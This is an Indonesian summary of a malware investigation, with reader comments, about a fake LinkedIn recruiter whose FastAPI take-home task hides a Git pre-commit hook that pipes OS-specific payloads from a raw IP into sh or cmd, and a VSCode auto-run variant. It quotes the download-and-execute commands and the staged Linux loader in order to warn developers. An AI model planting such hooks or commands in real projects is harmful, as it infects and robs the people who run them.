2 poin oleh GN⁺ 2 jam lalu | 2 komentar | Bagikan ke WhatsApp
  • Perekrut palsu di LinkedIn yang menawarkan posisi developer Python remote dengan gaji $10.000–15.000 per bulan mengirim file ZIP yang menyamar sebagai tugas FastAPI biasa, dan menyusunnya agar malware terpasang selama proses kerja Git
  • Di .git/hooks pada repositori tersembunyi hook pre-commit yang diam-diam menjalankan payload jarak jauh sesuai sistem operasi, sementara langkah Git dalam PDF tugas menjadi perangkap yang mendorong kandidat untuk mengeksekusinya
  • Payload Linux mengunduh skrip tahap kedua ke ~/Documents, menjalankannya dengan nohup, lalu memasang Node.js, dependensi, dan parser.js yang telah diobfuscate untuk berjalan di latar belakang
  • Jika nilai id=402 pada request diubah, skrip lain dikembalikan; package.json memuat clipboardy untuk akses clipboard dan hardhat untuk lingkungan pengembangan Ethereum, tetapi tujuan akhirnya belum terkonfirmasi
  • Penyerang hanya menambahkan direktori berbahaya ke repositori FastAPI publik, sementara varian lain menjalankan perintah hanya dengan membuka folder di VSCode. Sebelum menangani proyek eksternal, periksa direktori tersembunyi dan pengaturan eksekusi otomatis

Tawaran kerja yang terlalu bagus

  • Tawaran rekrutmen developer Python yang datang lewat LinkedIn berbentuk kontrak remote-first dengan kemungkinan menjadi karyawan tetap, dengan bayaran $10.000–15.000 per bulan
  • Gaji tinggi diungkapkan bahkan sebelum wawancara, dan besarnya nominal itu untuk standar India menjadi sinyal peringatan pertama
  • Perusahaan yang dipakai dalam rekrutmen memang terverifikasi sebagai startup Y Combinator, tetapi masih menimbulkan kecurigaan karena perusahaan dengan anggaran sebesar itu biasanya memiliki proses rekrutmen yang lebih terstruktur
  • Setelah CV dikirim, persetujuan datang segera, lalu arsip ZIP dan PDF instruksi tugas diterima melalui Google Drive
  • PDF tersebut meminta perbaikan codebase yang ada, usulan arsitektur, serta pekerjaan Git, sehingga sekilas tampak seperti dokumen evaluasi yang normal

Hook Git tersembunyi dalam proyek FastAPI

  • File arsip berisi backend FastAPI biasa yang menggunakan SQLAlchemy, dan pada requirements.txt tidak ditemukan typosquatting maupun paket yang jelas-jelas berbahaya
  • Saat menjalankan tree -a untuk memeriksa item tersembunyi, terlihat beberapa hook Git sudah dikonfigurasi sebelumnya di bawah .git/hooks
  • Skrip pre-commit mendeteksi sistem operasi dengan uname -s, lalu mengunduh dan menjalankan payload khusus platform dari server yang sama
    • Di macOS, menjalankan curl .../task/mac?id=402 | sh
    • Di Linux, menjalankan wget .../task/linux?id=402 | sh
    • Di keluarga Windows, menjalankan curl .../task/windows?id=402 | cmd
  • Semua output diarahkan ke /dev/null dan proses dijalankan di latar belakang untuk menyembunyikan jejak eksekusi dari pengguna
  • Alih-alih domain, penggunaan langsung alamat IP mentah 45.61.164.38:5777 membuat perilaku berbahaya itu lebih mencolok

Payload bertahap di Linux

  • Skrip Linux pertama mengunduh tokenlinux.npl ke ~/Documents, mengganti namanya menjadi tokenlinux.sh, lalu memberikan izin eksekusi
  • Selanjutnya skrip dijalankan di latar belakang dengan nohup bash agar proses tetap berjalan meski terminal ditutup atau pengguna logout
  • Skrip tahap kedua diam-diam melakukan hal berikut
    • Menginstal Node.js dan mengonfigurasi path sistem
    • Mengunduh parser.js dan package.json
    • Menginstal dependensi npm yang diperlukan
    • Menjalankan parser.js dengan nohup node dan mencatat log ke parser.log
  • parser.js diobfuscate sangat berat sehingga sulit dianalisis secara manual, dan file aslinya disimpan di parser.js

Kemungkinan identifikasi per korban

  • Parameter id=402 dikirim berulang kali ke endpoint, dan ketika nilai ini diubah, server mengembalikan skrip yang sama sekali berbeda
  • Ada kemungkinan penyerang menetapkan pengenal unik untuk setiap kandidat dan menyediakan payload yang disesuaikan, tetapi metode pelacakan sebenarnya belum terkonfirmasi
  • Untuk deobfuscation, kode dimasukkan ke beberapa LLM, tetapi hasilnya berbeda-beda
    • Claude menolak analisis karena batasan keamanan aktif
    • Gemini memberikan hasil analisis skrip
  • Pencarian terhadap ekstensi asli tokenlinux.npl menunjukkan keterkaitannya dengan kampanye serangan yang lebih luas

Dependensi Node.js yang mencurigakan

  • Nama proyek dalam package.json adalah tokendapp dan mencakup hardhat, axios, basic-ftp, clipboardy, jsonwebtoken, ps-node, request, dan lainnya
  • Tidak jelas mengapa pekerjaan pengaturan latar belakang membutuhkan clipboardy untuk akses clipboard dan paket terkait sistem berkas
  • hardhat adalah lingkungan pengembangan Ethereum, tetapi karena Ethereum sudah beralih dari mekanisme proof-of-work, sulit menyimpulkannya sebagai konfigurasi penambangan biasa
  • Kemungkinan untuk mencari dompet kripto atau berinteraksi dengan ekstensi browser lokal juga dipertimbangkan, tetapi tujuan berbahaya akhirnya belum terkonfirmasi

Varian lain yang memanfaatkan VSCode

  • Varian lain dari serangan yang sama menyembunyikan folder .vscode di dalam file ZIP dan mengonfigurasinya agar perintah dieksekusi saat direktori tersebut dibuka dengan VSCode
  • Dengan metode ini, infeksi bisa terjadi hanya dengan membuka folder, tanpa menjalankan perintah Git atau kode proyek secara langsung
  • Terkonfirmasi bahwa perusahaan tertentu tidak terlibat langsung dalam serangan; penyerang hanya meminjam nama perusahaan yang mereka temukan agar tawaran kerja tampak sah

Penyamaran dengan menggunakan ulang repositori publik

  • git log masih memuat riwayat commit dari developer asli, bukan proyek yang dibuat oleh penyerang
  • Sumber aslinya adalah repositori publik personal-finance-service
  • Penyerang menyalin proyek FastAPI yang normal lalu hanya menambahkan direktori tersembunyi berbahaya untuk menyamarkannya sebagai codebase tugas
  • Struktur ini membuat perilaku berbahaya mudah terlewat jika hanya meninjau kode normal dan requirements.txt yang bersih

Investigasi server serangan dan batasannya

  • Hasil pemindaian server serangan dengan Nmap menunjukkan ada 3 port terbuka, dan 2 di antaranya tidak merespons deteksi versi
  • Pada port 22 berjalan OpenSSH 9.6p1 di Ubuntu
  • Saat pemindaian dilakukan, versi tersebut baru dirilis sekitar satu minggu, sehingga tidak ditemukan CVE yang diketahui dan dapat dimanfaatkan, dan sulit memperluas investigasi ke dalam server
  • Cara distribusi malware memang mencolok, tetapi keamanan operasional server relatif terjaga, dan pelacakan berhenti di titik ini

Peran tugas Git

  • Langkah Git dalam PDF tugas adalah mekanisme untuk mendorong kandidat menjalankan setidaknya satu perintah Git sehingga hook yang sudah dipasang sebelumnya terpicu
  • Perekrut palsu tampaknya menghapus akun LinkedIn segera setelah menerima kabar bahwa serangan telah terungkap
  • Sebelum menjalankan proyek asing atau menjalankan perintah Git, gunakan alat seperti tree -a untuk memeriksa direktori tersembunyi dan pengaturan eksekusi otomatis seperti .git dan .vscode

2 komentar

 
GN⁺ 9 menit lalu
Komentar Lobste.rs
  • Setelah memeriksa alamat IP 45.61.164.38, ternyata di-host di AS14956 milik RouterHosting di bawah Cloudzy, dan tidak tumpang tindih dengan daftar blokir spam wiki yang biasanya saya buka
    Melaporkan penyalahgunaannya tampaknya bisa membantu

    • 14 jam kemudian masih tetap beroperasi dan terus menyebarkan malware yang sama
  • Saya belum pernah menjadi target kampanye penipuan yang dipersonalisasi, hanya menerima spam biasa dan tawaran kerja nyata berkualitas rendah, jadi agak kecewa
    Bahkan tidak ada phishing yang memakai upaya tingkat menengah sekalipun

  • Pengaman Claude terlalu mengganggu
    Pengguna yang benar-benar berniat jahat punya motivasi besar untuk melewatinya, tetapi pengguna biasa yang hanya ingin memahami isi justru terlalu mudah diblokir dan juga tidak punya alasan untuk terus mencoba

  • Selama lama mencari kerja, saya mengalami berbagai hal konyol, mulai dari diminta hasil kerja gratis sampai upaya meretas pelamar, dan kasus ini terlihat sebagai contoh yang sangat terang-terangan
    Secara umum saya menolak tahap tugas dan pembuatan hasil kerja gratis, lalu sebagai gantinya menawarkan portofolio terkait lewat GitHub atau blog pribadi, atau mengusulkan implementasi langsung dalam sesi pair programming
    Portofolio membantu menunjukkan bidang keahlian dan pengalaman konkret sambil menghindari konsultasi gratis, sehingga lebih mudah terhubung dengan peluang yang lebih cocok, dan implementasi langsung mirip dengan wawancara teknis tradisional atau percakapan desain sistem
    Jika keduanya ditolak, meskipun ada beberapa false positive, itu tetap menyaring jauh lebih banyak sinyal bahaya yang nyata, jadi saya keluar dari proses wawancara
    Saya mengikuti prinsip, “Jika bukti kemampuan saya tidak bisa diterima sebagai bukti di pengadilan organisasi ini, maka saya tidak ingin bekerja di sana”

  • Memutar musik otomatis dari situs web tanpa izin sangat mengganggu
    Butuh beberapa detik untuk menemukan sumber gangguannya, dan memang mudah membisukan tab di Firefox, tetapi sejak awal ini tidak seharusnya menjadi sesuatu yang harus ditangani pengguna sendiri

  • Analisisnya menarik, tetapi cara tetap menyelidiki di VM khusus tepat setelah menemukan malware juga saya anggap sebagai pendekatan dengan toleransi risiko yang cukup tinggi
    Bahkan penguji penetrasi yang terampil pun bisa mengalami kerugian besar karena kelengahan sesaat, jadi kehati-hatian yang nyaris paranoid memang membantu secara praktis

  • hardhat dapat terhubung ke Ethereum RPC jarak jauh atau menjalankan fork tiruan lokal yang hampir tidak memakai sumber daya
    Ada dua tujuan yang tampak mungkin: mencuri private key dari dompet yang tidak terlindungi dan serangan man-in-the-middle (MITM) yang menargetkan dompet perangkat keras
    Yang pertama adalah trik sederhana yang juga umum di mod Minecraft dan sejenisnya; jika private key sudah didapat, serangan bisa dilakukan tanpa interaksi pengguna sehingga hardhat mungkin hanya diperlukan untuk mencoba menjalankan transaksi terlebih dahulu
    Yang kedua menyalahgunakan struktur di mana ekstensi browser menyiarkan transaksi yang sudah ditandatangani melalui server RPC yang di-host
    Saat pengguna merasa sedang melakukan transaksi normal di situs web tepercaya, server RPC dapat menggantinya dengan payload berbahaya, dan jika pengguna menandatangani tanpa benar-benar memeriksa isi di dompet perangkat keras, penyerang dapat mengeksekusinya

 
GN⁺ 2 jam lalu
Opini Hacker News
  • Baru setelah membaca tulisan ini, saya sadar bahwa saya diretas dengan cara yang jauh lebih canggih
    Beberapa minggu lalu saya diwawancarai oleh CTO dari sebuah perusahaan sungguhan. Kameranya dimatikan dan aksennya cukup kuat, tetapi isi wawancaranya terasa alami dan orang itu juga paham teknis. Dalam wawancara teknis, ia mengatakan saya perlu memodifikasi proyek open source perusahaan, lalu meminta saya mengkloning repositori dan memeriksa lingkungan pengembangannya
    Setelah itu, staf HR mengatakan wawancara ditunda karena CTO sakit, dan beberapa hari kemudian profil LinkedIn staf tersebut juga dihapus. Setelah melihat tulisan ini dan mengeceknya, ternyata repositori yang saya kloning dan jalankan saat wawancara berisi payload malware
    Sepertinya saya menjadi target karena dulu mengelola paket NPM dengan lebih dari 43 juta unduhan mingguan. Saya sudah menerapkan autentikasi dua faktor di semua akun dan selalu merilis paket NPM secara manual tanpa token, tetapi laptop tetap harus di-reset dan semuanya diinstal ulang

    • Setelah mengecek jadwal, ternyata itu adalah wawancara 45 menit yang dijadwalkan lewat Calendly, dan saya benar-benar berbicara selama 45 menit dengan orang yang menyamar sebagai CTO melalui tautan yang dikirim staf HR
      Saya mencari tulisan-tulisan HN yang mirip, tetapi tidak menemukan kasus yang sampai melakukan panggilan Google Meet dengan penipu
    • Saya menolak permintaan untuk langsung mengkloning proyek sembarang. Karena saya developer Rails, saya bisa membuat kerangka aplikasi lengkap dalam beberapa menit, jadi saya bilang kalau mereka memberi requirement saja, saya akan mengimplementasikannya sendiri dari awal sampai akhir
      Kalau perusahaannya serius, mereka akan mempertimbangkan hal itu; kalau menolak, berarti saya menghindari risiko. Sekarang LLM sudah banyak dipakai untuk pembuatan kode, jadi menurut saya ini semestinya bisa dilakukan di stack teknologi apa pun
    • Dalam lingkungan seperti ini, sepertinya perlu VS Code yang diisolasi dengan container
    • Rasanya aneh memakai media sosial yang sama dengan orang-orang yang layak menjadi target serangan terarah. Untuk orang biasa seperti saya, yang datang cuma penipuan seperti “free spin” atau “miliarder Jerman sekarat”, dan judul email paling berkesan yang pernah saya terima adalah “maaf sudah merusak vaginamu”
  • Sepertinya belakangan ini serangan dari Korea Utara yang menargetkan developer makin meningkat. Selain taktik seperti ini yang sudah berlangsung bertahun-tahun, saya juga menerima email dari peretas Korea Utara kira-kira seminggu sekali yang bilang “saya melihat profil Anda, mau berkolaborasi?”
    Di komunitas Discord pemrograman juga banyak akun yang, dalam beberapa hari setelah bergabung, meminta pekerjaan atau kolaborasi. Bisa saja mereka pencari kerja sungguhan, tetapi jumlah dan kemiripan pesannya mencurigakan. Bahkan komunitas library Python non-mainstream yang hampir tidak aktif pun didatangi, jadi sepertinya mereka mengikis daftar komunitas Discord dan mendekati orang secara massal
    Karena makin banyak serangan yang menyalahgunakan rasa saling percaya, kita perlu mengikuti nasihat orang tua: jangan percaya orang asing di internet

    • Sekarang LLM bisa membuat percakapan dasar yang natural, sehingga tidak semudah dulu menyaring bot secara langsung
  • Taktik memeriksa sistem operasi korban lalu diam-diam menjalankan payload jarak jauh terus berulang, dan bulan lalu tulisan serupa juga sempat masuk halaman depan
    https://news.ycombinator.com/item?id=48546294

    • Artikel aslinya juga menyebutkan hal ini secara langsung dan menautkan hasil pencarian Google yang menunjukkan hal serupa
  • Alamat IP mentah memang memberi kesan kuat sebagai malware, tetapi korban yang sudah memeriksa cukup dalam sampai melihat isi hook juga tidak akan berhenti curiga di titik itu. Kebanyakan developer mungkin tidak berpikir bahwa git commit bisa menjalankan tindakan berbahaya, jadi saya penasaran apakah ini celah keamanan Git

    • Mengkloning repositori saja tidak otomatis mengaktifkan Git hook. Namun kali ini bukan kloning, melainkan proyek yang diunduh, jadi situasinya berbeda
    • Apa pun alat yang dipakai, menjalankan kode unduhan yang belum ditinjau itu sendiri sekarang berbahaya
  • Yang tersisa hanya fakta bahwa karena berbagai pengaman, Claude sama sekali tidak berguna sebagai asisten

  • Penggunaan IP mentah mungkin bertujuan agar tidak meninggalkan informasi identitas di registrar domain atau untuk meminimalkan jejak online

    • Karena itu, alamat IP mentah tampaknya sering terkait dengan aktivitas mencurigakan
    • Host-host tersebut juga mungkin merupakan sistem yang terinfeksi malware dan saat ini disalahgunakan sebagai proxy
  • Sebagian besar screenshot tidak langsung terbuka, jadi harus dilihat di tab baru
    Penipuan ini cukup licik, sehingga tampaknya sudah banyak pencari kerja yang menjadi korban, dan proyek Visual Studio Code yang disebutkan dalam tulisan itu terlihat lebih berbahaya. Jika membuka proyek saja bisa menjalankan kode pengguna, itu jelas merupakan jalur malware, sehingga perlu mitigasi keamanan
    Respons situs rekrutmen juga masih kurang. Jika seseorang mengaku berasal dari perusahaan atau organisasi, mereka bisa diminta membuktikan status kerja, dan pesan dari akun yang belum diverifikasi diberi peringatan besar; itu saja sudah akan mempersulit banyak penipuan. Saat ini siapa pun bisa mengklaim riwayat kerja atau pendidikan di perusahaan mana pun

    • Microsoft tampaknya melupakan sejarah malware makro Word dan Excel yang dulu berjalan otomatis saat dokumen dibuka
    • Semua gambar di-host di GitHub Pages, jadi sepertinya perlu memakai CDN terpisah
  • Senang melihat tulisan tentang peretasan sungguhan muncul di halaman depan Hacker News

    • “Hacker” di Hacker News punya arti lain
      http://www.catb.org/jargon/html/H/hacker.html
      Istilah itu berarti orang yang mengeksplorasi detail struktur dan batasan sistem yang dapat diprogram, khususnya orang yang menikmati pemahaman mendalam tentang cara kerja internal komputer dan jaringan. Juga berarti orang yang memprogram dengan antusias, kadang sampai gigih, bukan hanya berhenti di teori
  • Jika LinkedIn serius mencegah penipuan, mereka bisa menyediakan verifikasi email perusahaan saat seseorang mencantumkan tempat kerja saat ini. Jika mewajibkannya terasa terlalu berat, setidaknya perekrut yang ingin menunjukkan legitimasi bisa memilih untuk diverifikasi

    • LinkedIn sudah menambahkan fitur ini pada 2023 (https://news.linkedin.com/2023/april/linkedin-s-new-verifica...). Namun hanya sedikit orang yang benar-benar melakukan verifikasi email, jadi tidak adanya verifikasi tidak selalu berarti palsu
    • Saya dan teman-teman selama beberapa tahun memakai profil palsu untuk memancing perekrut dan perusahaan, agar tahu posisi apa yang sedang dibuka dan kandidat seperti apa yang mereka cari. Ini sangat berguna untuk membedakan perusahaan/perekrut normal dari penipu ketika framework JavaScript menjamur
      Sekarang pun sepertinya hal serupa akan terjadi dengan menyasar pasar rekrutmen AI serta permintaan terhadap LLM dan otomatisasi
  • Serangan seperti ini tampaknya akan makin umum. Para penyerangnya melakukan riset dengan sangat teliti dan metodenya kejam, tetapi tingkat kematangan teknisnya patut diakui, dan saya rasa tingkat keberhasilan nyatanya juga cukup tinggi

    • Proses membedah bagian dalamnya terasa menyenangkan seperti soal CTF. Akan lebih menarik lagi jika server penyerang juga punya kerentanan
    • Kemampuan teknis mereka mungkin saja hanya dipinjam dari LLM